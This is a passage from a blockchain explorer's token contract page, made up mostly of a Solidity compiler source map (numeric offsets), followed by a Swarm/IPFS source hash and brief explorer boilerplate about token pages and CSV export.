5439:446;;;;;;:::o;14855:128::-;14962:11;-1:-1:-1;;;;;12836:18:0;14908:7;12836:18;;;:9;:18;;;;;;14935:12;;:40;;:16;:40::i;:::-;14928:47;;14855:128;:::o;13062:300::-;466:10;13177:4;13271:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;13271:34:0;;;;;;;;;;13177:4;;13199:133;;13249:7;;13271:50;;13310:10;13271:38;:50::i;4403:148::-;4318:6;;-1:-1:-1;;;;;4318:6:0;4328:10;4318:20;4310:65;;;;-1:-1:-1;;;4310:65:0;;;;;;;:::i;:::-;;;;;;;;;4510:1:::1;4494:6:::0;;4473:40:::1;::::0;-1:-1:-1;;;;;4494:6:0;;::::1;::::0;4473:40:::1;::::0;4510:1;;4473:40:::1;4541:1;4524:19:::0;;-1:-1:-1;;;;;;4524:19:0::1;::::0;;4403:148::o;12449:87::-;12488:13;12521:7;12514:14;;;;;:::i;13370:400::-;13490:4;13512:228;466:10;13562:7;13584:145;13641:15;13584:145;;;;;;;;;;;;;;;;;466:10;13584:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;13584:34:0;;;;;;;;;;;;:38;:145::i;15232:199::-;15337:4;15359:42;466:10;15383:9;15394:6;15359:9;:42::i;14695:152::-;4318:6;;-1:-1:-1;;;;;4318:6:0;4328:10;4318:20;4310:65;;;;-1:-1:-1;;;4310:65:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;14802:26:0;;;::::1;;::::0;;;:17:::1;:26;::::0;;;;:37;;-1:-1:-1;;14802:37:0::1;::::0;::::1;;::::0;;;::::1;::::0;;14695:152::o;4559:281::-;4318:6;;-1:-1:-1;;;;;4318:6:0;4328:10;4318:20;4310:65;;;;-1:-1:-1;;;4310:65:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;4662:22:0;::::1;4640:110;;;::::0;-1:-1:-1;;;4640:110:0;;4907:2:1;4640:110:0::1;::::0;::::1;4889:21:1::0;4946:2;4926:18;;;4919:30;4985:34;4965:18;;;4958:62;-1:-1:-1;;;5036:18:1;;;5029:36;5082:19;;4640:110:0::1;4705:402:1::0;4640:110:0::1;4787:6;::::0;;4766:38:::1;::::0;-1:-1:-1;;;;;4766:38:0;;::::1;::::0;4787:6;::::1;::::0;4766:38:::1;::::0;::::1;4815:6;:17:::0;;-1:-1:-1;;;;;;4815:17:0::1;-1:-1:-1::0;;;;;4815:17:0;;;::::1;::::0;;;::::1;::::0;;4559:281::o;1318:181::-;1376:7;;1408:5;1412:1;1408;:5;:::i;:::-;1396:17;;1437:1;1432;:6;;1424:46;;;;-1:-1:-1;;;1424:46:0;;5576:2:1;1424:46:0;;;5558:21:1;5615:2;5595:18;;;5588:30;5654:29;5634:18;;;5627:57;5701:18;;1424:46:0;5374:351:1;14107:371:0;-1:-1:-1;;;;;14234:19:0;;14226:68;;;;-1:-1:-1;;;14226:68:0;;5932:2:1;14226:68:0;;;5914:21:1;5971:2;5951:18;;;5944:30;6010:34;5990:18;;;5983:62;-1:-1:-1;;;6061:18:1;;;6054:34;6105:19;;14226:68:0;5730:400:1;14226:68:0;-1:-1:-1;;;;;14313:21:0;;14305:68;;;;-1:-1:-1;;;14305:68:0;;6337:2:1;14305:68:0;;;6319:21:1;6376:2;6356:18;;;6349:30;6415:34;6395:18;;;6388:62;-1:-1:-1;;;6466:18:1;;;6459:32;6508:19;;14305:68:0;6135:398:1;14305:68:0;-1:-1:-1;;;;;14386:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;14438:32;;1595:25:1;;;14438:32:0;;1568:18:1;14438:32:0;;;;;;;14107:371;;;:::o;15893:2017::-;16014:4;-1:-1:-1;;;;;16039:20:0;;16031:70;;;;-1:-1:-1;;;16031:70:0;;6740:2:1;16031:70:0;;;6722:21:1;6779:2;6759:18;;;6752:30;6818:34;6798:18;;;6791:62;-1:-1:-1;;;6869:18:1;;;6862:35;6914:19;;16031:70:0;6538:401:1;16031:70:0;-1:-1:-1;;;;;16120:23:0;;16112:71;;;;-1:-1:-1;;;16112:71:0;;7146:2:1;16112:71:0;;;7128:21:1;7185:2;7165:18;;;7158:30;7224:34;7204:18;;;7197:62;-1:-1:-1;;;7275:18:1;;;7268:33;7318:19;;16112:71:0;6944:399:1;16112:71:0;16213:11;;-1:-1:-1;;;;;16200:24:0;;;16213:11;;16200:24;:52;;;;-1:-1:-1;;;;;;16229:23:0;;;;;;:15;:23;;;;;;;;16228:24;16200:52;16196:237;;;-1:-1:-1;;;;;12836:18:0;;16269:15;12836:18;;;:9;:18;;;;;;16323:17;;;16319:103;;16370:36;16381:24;16392:12;;16381:6;:10;;:24;;;;:::i;:::-;16370:6;;:10;:36::i;:::-;16361:45;;16319:103;16254:179;16196:237;16460:11;;-1:-1:-1;;;;;16447:24:0;;;16460:11;;16447:24;:62;;;;-1:-1:-1;;;;;;12836:18:0;;12809:7;12836:18;;;:9;:18;;;;;;16475:34;16447:62;16443:122;;;16541:12;16526;:27;16443:122;16581:16;;;;;;;16577:1326;;;16621:41;16636:6;16644:9;16655:6;16621:14;:41::i;:::-;16614:48;;;;16577:1326;16744:4;16695:28;12836:18;;;:9;:18;;;;;;16837:23;;16796:64;;;;;;;16899:61;;-1:-1:-1;16944:16:0;;;;;;;16943:17;16899:61;:104;;;;-1:-1:-1;;;;;;16982:21:0;;;;;;:13;:21;;;;;;;;16981:22;16899:104;16877:295;;;17060:15;;-1:-1:-1;;;;;17042:34:0;;;17060:15;;17042:34;17038:119;;17101:36;17116:20;17101:14;:36::i;:::-;17208:102;;;;;;;;;;;-1:-1:-1;;;17208:102:0;;;;;;;;-1:-1:-1;;;;;17208:17:0;;-1:-1:-1;17208:17:0;;;:9;:17;;;;;;;;:102;;17248:6;;17208:21;:102::i;:::-;-1:-1:-1;;;;;17188:17:0;;;;;;:9;:17;;;;;;;;:122;;;;17350:17;:25;;;;;;;;;:74;;-1:-1:-1;;;;;;17396:28:0;;;;;;:17;:28;;;;;;;;17350:74;17349:156;;17471:34;17479:6;17487:9;17498:6;17471:7;:34::i;:::-;17349:156;;;17445:6;17349:156;-1:-1:-1;;;;;17545:20:0;;;;;;:9;:20;;;;;;17327:178;;-1:-1:-1;17545:37:0;;17327:178;17545:24;:37::i;:::-;-1:-1:-1;;;;;17522:20:0;;;;;;;:9;:20;;;;;;;:60;;;;17604:40;;;;;;;;;;17632:11;1595:25:1;;1583:2;1568:18;;1449:177;17604:40:0;;;;;;;;17712:9;;17697:12;;:24;;;;:::i;:::-;17681:12;:41;:83;;;;-1:-1:-1;17753:11:0;;-1:-1:-1;;;;;17743:21:0;;;17753:11;;17743:21;17681:83;17659:207;;;17799:51;17814:9;17825:11;17838;17799:14;:51::i;:::-;;17659:207;17887:4;17880:11;;;;;;;1651:226;1771:7;1807:12;1799:6;;;;1791:29;;;;-1:-1:-1;;;1791:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1831:9:0;1843:5;1847:1;1843;:5;:::i;:::-;1831:17;1651:226;-1:-1:-1;;;;;1651:226:0:o;1507:136::-;1565:7;1592:43;1596:1;1599;1592:43;;;;;;;;;;;;;;;;;:3;:43::i;2143:132::-;2201:7;2228:39;2232:1;2235;2228:39;;;;;;;;;;;;;;;;;:3;:39::i;17918:401::-;18082:90;;;;;;;;;;;-1:-1:-1;;;18082:90:0;;;;;;;;-1:-1:-1;;;;;18082:17:0;;18045:4;18082:17;;;:9;:17;;;;;;;:90;;18118:6;;18082:21;:90::i;:::-;-1:-1:-1;;;;;18062:17:0;;;;;;;:9;:17;;;;;;:110;;;;18206:20;;;;;;;:32;;18231:6;18206:24;:32::i;:::-;-1:-1:-1;;;;;18183:20:0;;;;;;;:9;:20;;;;;;;:55;;;;18254:35;;;;;;;;;;18282:6;1595:25:1;;1583:2;1568:18;;1449:177;18254:35:0;;;;;;;;-1:-1:-1;18307:4:0;17918:401;;;;;:::o;18327:1215::-;10959:16;:23;;-1:-1:-1;;10959:23:0;;;;;18482:24:::1;::::0;18447:15:::1;::::0;10959:23;;18421:107:::1;::::0;18526:1:::1;::::0;18421:86:::1;::::0;;;:7;;:25:::1;:42::i;:::-;:60:::0;::::1;:86::i;:107::-;18399:129:::0;-1:-1:-1;18539:21:0::1;18563:24;:7:::0;18399:129;18563:11:::1;:24::i;:::-;18539:48;;18600:31;18617:13;18600:16;:31::i;:::-;18767:15;::::0;18667:21:::1;::::0;18642:22:::1;::::0;18724:76:::1;::::0;18767:22:::1;::::0;18787:1:::1;18767:19;:22::i;:::-;18724:24;::::0;;:28:::1;:76::i;:::-;18701:99;;18813:27;18843:102;18943:1;18843:81;18911:12;18843:49;18876:15;;18843:14;:32;;:49;;;;:::i;:102::-;18813:132;;18956:24;18983:74;19034:12;18983:32;19002:12;;18983:14;:18;;:32;;;;:::i;:74::-;18956:101:::0;-1:-1:-1;19068:27:0::1;19098:85;18956:101:::0;19098:39:::1;:14:::0;19117:19;19098:18:::1;:39::i;:::-;:43:::0;::::1;:85::i;:::-;19068:115:::0;-1:-1:-1;19200:23:0;;19196:107:::1;;19259:22;::::0;19238:65:::1;::::0;19259:22:::1;::::0;::::1;-1:-1:-1::0;;;;;19259:22:0::1;19283:19:::0;19238:20:::1;:65::i;:::-;19320:20:::0;;19316:98:::1;;19376:19;::::0;19355:59:::1;::::0;-1:-1:-1;;;;;19376:19:0::1;19397:16:::0;19355:20:::1;:59::i;:::-;19453:1;19431:19;:23;:42;;;;;19472:1;19458:11;:15;19431:42;19427:107;;;19488:46;19501:11;19514:19;19488:12;:46::i;:::-;-1:-1:-1::0;;11005:16:0;:24;;-1:-1:-1;;11005:24:0;;;-1:-1:-1;;;;;;18327:1215:0:o;20467:926::-;-1:-1:-1;;;;;20643:21:0;;20587:7;20643:21;;;:13;:21;;;;;;20587:7;;20643:21;;20639:512;;;20693:38;20727:3;20693:29;20704:17;;20693:6;:10;;:29;;;;:::i;:38::-;20681:50;;20639:512;;;-1:-1:-1;;;;;20753:24:0;;;;;;:13;:24;;;;;;;;20749:402;;;20806:39;20841:3;20806:30;20817:18;;20806:6;:10;;:30;;;;:::i;:39::-;20794:51;-1:-1:-1;20861:10:0;;20886:199;20902:11;;20898:1;:15;20886:199;;20973:44;;;;;;7664:19:1;;;7699:12;;;7692:28;;;21001:15:0;7736:12:1;;;7729:28;7773:12;;20973:44:0;;;;;;;;;;;;20963:55;;;;;;20958:61;;20937:84;;21040:29;21055:6;21062:2;21065:3;21040:14;:29::i;:::-;-1:-1:-1;20914:3:0;;;;:::i;:::-;;;;20886:199;;;;21099:40;21118:11;;21130:1;21118:13;;;;:::i;:::-;21110:28;;21135:3;21110:28;:::i;:::-;21099:6;;:10;:40::i;:::-;;20779:372;20749:402;21167:13;;21163:174;;21242:4;21224:24;;;;:9;:24;;;;;;:39;;21253:9;21224:28;:39::i;:::-;21215:4;21197:24;;;;:9;:24;;;;;;;:66;;;;21283:42;;-1:-1:-1;;;;;21283:42:0;;;;;;;21315:9;1595:25:1;;1583:2;1568:18;;1449:177;21283:42:0;;;;;;;;21163:174;21364:21;:6;21375:9;21364:10;:21::i;2283:312::-;2403:7;2438:12;2431:5;2423:28;;;;-1:-1:-1;;;2423:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2462:9:0;2474:5;2478:1;2474;:5;:::i;1885:250::-;1943:7;1967:1;1972;1967:6;1963:47;;-1:-1:-1;1997:1:0;1990:8;;1963:47;2022:9;2034:5;2038:1;2034;:5;:::i;:::-;2022:17;-1:-1:-1;2067:1:0;2058:5;2062:1;2022:17;2058:5;:::i;:::-;:10;2050:56;;;;-1:-1:-1;;;2050:56:0;;8766:2:1;2050:56:0;;;8748:21:1;8805:2;8785:18;;;8778:30;8844:34;8824:18;;;8817:62;-1:-1:-1;;;8895:18:1;;;8888:31;8936:19;;2050:56:0;8564:397:1;19554:522:0;19644:16;;;19658:1;19644:16;;;;;;;;19620:21;;19644:16;;;;;;;;;;-1:-1:-1;19644:16:0;19620:40;;19689:4;19671;19676:1;19671:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;19671:23:0;;;:7;;;;;;;;;;:23;;;;19715:15;;:22;;;-1:-1:-1;;;19715:22:0;;;;:15;;;;;:20;;:22;;;;;19671:7;;19715:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;19705:4;19710:1;19705:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;19705:32:0;;;:7;;;;;;;;;:32;19780:15;;19748:62;;19765:4;;19780:15;19798:11;19748:8;:62::i;:::-;19821:15;;:196;;-1:-1:-1;;;19821:196:0;;-1:-1:-1;;;;;19821:15:0;;;;:66;;:196;;19902:11;;19821:15;;19944:4;;19971;;19991:15;;19821:196;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;20033:35;20050:11;20063:4;20033:35;;;;;;;:::i;:::-;;;;;;;;19609:467;19554:522;:::o;14991:140::-;15097:26;;-1:-1:-1;;;;;15097:18:0;;;:26;;;;;15116:6;;15097:26;;;;15116:6;15097:18;:26;;;;;;;;;;;;;;;;;;;;;14991:140;;:::o;20084:375::-;20197:15;;20165:62;;20182:4;;-1:-1:-1;;;;;20197:15:0;20215:11;20165:8;:62::i;:::-;20238:15;;20388:22;;20238:213;;-1:-1:-1;;;20238:213:0;;20310:4;20238:213;;;11225:34:1;11275:18;;;11268:34;;;-1:-1:-1;11318:18:1;;;11311:34;;;11361:18;;;11354:34;-1:-1:-1;;;;;20238:15:0;20388:22;;;;;11404:19:1;;;11397:44;20425:15:0;11457:19:1;;;11450:35;20238:15:0;;;:31;;20277:9;;11159:19:1;;20238:213:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;20084:375;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1631:456::-;1708:6;1716;1724;1777:2;1765:9;1756:7;1752:23;1748:32;1745:52;;;1793:1;1790;1783:12;1745:52;1832:9;1819:23;1851:31;1876:5;1851:31;:::i;:::-;1901:5;-1:-1:-1;1958:2:1;1943:18;;1930:32;1971:33;1930:32;1971:33;:::i;:::-;1631:456;;2023:7;;-1:-1:-1;;;2077:2:1;2062:18;;;;2049:32;;1631:456::o;2669:247::-;2728:6;2781:2;2769:9;2760:7;2756:23;2752:32;2749:52;;;2797:1;2794;2787:12;2749:52;2836:9;2823:23;2855:31;2880:5;2855:31;:::i;2921:416::-;2986:6;2994;3047:2;3035:9;3026:7;3022:23;3018:32;3015:52;;;3063:1;3060;3053:12;3015:52;3102:9;3089:23;3121:31;3146:5;3121:31;:::i;:::-;3171:5;-1:-1:-1;3228:2:1;3213:18;;3200:32;3270:15;;3263:23;3251:36;;3241:64;;3301:1;3298;3291:12;3241:64;3324:7;3314:17;;;2921:416;;;;;:::o;3566:388::-;3634:6;3642;3695:2;3683:9;3674:7;3670:23;3666:32;3663:52;;;3711:1;3708;3701:12;3663:52;3750:9;3737:23;3769:31;3794:5;3769:31;:::i;:::-;3819:5;-1:-1:-1;3876:2:1;3861:18;;3848:32;3889:33;3848:32;3889:33;:::i;3959:380::-;4038:1;4034:12;;;;4081;;;4102:61;;4156:4;4148:6;4144:17;4134:27;;4102:61;4209:2;4201:6;4198:14;4178:18;4175:38;4172:161;;4255:10;4250:3;4246:20;4243:1;4236:31;4290:4;4287:1;4280:15;4318:4;4315:1;4308:15;4172:161;;3959:380;;;:::o;4344:356::-;4546:2;4528:21;;;4565:18;;;4558:30;4624:34;4619:2;4604:18;;4597:62;4691:2;4676:18;;4344:356::o;5112:127::-;5173:10;5168:3;5164:20;5161:1;5154:31;5204:4;5201:1;5194:15;5228:4;5225:1;5218:15;5244:125;5309:9;;;5330:10;;;5327:36;;;5343:18;;:::i;7348:128::-;7415:9;;;7436:11;;;7433:37;;;7450:18;;:::i;7796:147::-;7834:3;-1:-1:-1;;;;;7855:30:1;;7852:56;;7888:18;;:::i;:::-;-1:-1:-1;7935:1:1;7924:13;;7796:147::o;7948:216::-;8012:9;;;8040:11;;;7987:3;8070:9;;8098:10;;8094:19;;8123:10;;8115:19;;8091:44;8088:70;;;8138:18;;:::i;:::-;8088:70;;7948:216;;;;:::o;8169:168::-;8209:7;8275:1;8271;8267:6;8263:14;8260:1;8257:21;8252:1;8245:9;8238:17;8234:45;8231:71;;;8282:18;;:::i;:::-;-1:-1:-1;8322:9:1;;8169:168::o;8342:217::-;8382:1;8408;8398:132;;8452:10;8447:3;8443:20;8440:1;8433:31;8487:4;8484:1;8477:15;8515:4;8512:1;8505:15;8398:132;-1:-1:-1;8544:9:1;;8342:217::o;9098:127::-;9159:10;9154:3;9150:20;9147:1;9140:31;9190:4;9187:1;9180:15;9214:4;9211:1;9204:15;9230:251;9300:6;9353:2;9341:9;9332:7;9328:23;9324:32;9321:52;;;9369:1;9366;9359:12;9321:52;9401:9;9395:16;9420:31;9445:5;9420:31;:::i;9486:461::-;9539:3;9577:5;9571:12;9604:6;9599:3;9592:19;9630:4;9659:2;9654:3;9650:12;9643:19;;9696:2;9689:5;9685:14;9717:1;9727:195;9741:6;9738:1;9735:13;9727:195;;;9806:13;;-1:-1:-1;;;;;9802:39:1;9790:52;;9862:12;;;;9897:15;;;;9838:1;9756:9;9727:195;;;-1:-1:-1;9938:3:1;;9486:461;-1:-1:-1;;;;;9486:461:1:o;9952:582::-;10251:6;10240:9;10233:25;10294:6;10289:2;10278:9;10274:18;10267:34;10337:3;10332:2;10321:9;10317:18;10310:31;10214:4;10358:57;10410:3;10399:9;10395:19;10387:6;10358:57;:::i;:::-;-1:-1:-1;;;;;10451:32:1;;;;10446:2;10431:18;;10424:60;-1:-1:-1;10515:3:1;10500:19;10493:35;10350:65;9952:582;-1:-1:-1;;;9952:582:1:o;10539:332::-;10746:6;10735:9;10728:25;10789:2;10784;10773:9;10769:18;10762:30;10709:4;10809:56;10861:2;10850:9;10846:18;10838:6;10809:56;:::i;:::-;10801:64;10539:332;-1:-1:-1;;;;10539:332:1:o;11496:306::-;11584:6;11592;11600;11653:2;11641:9;11632:7;11628:23;11624:32;11621:52;;;11669:1;11666;11659:12;11621:52;11698:9;11692:16;11682:26;;11748:2;11737:9;11733:18;11727:25;11717:35;;11792:2;11781:9;11777:18;11771:25;11761:35;;11496:306;;;;;:::o

Swarm Source

ipfs://4723394a94e61369ce4abd7189796696ee7943c1ff02ff366914012c240d0864
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.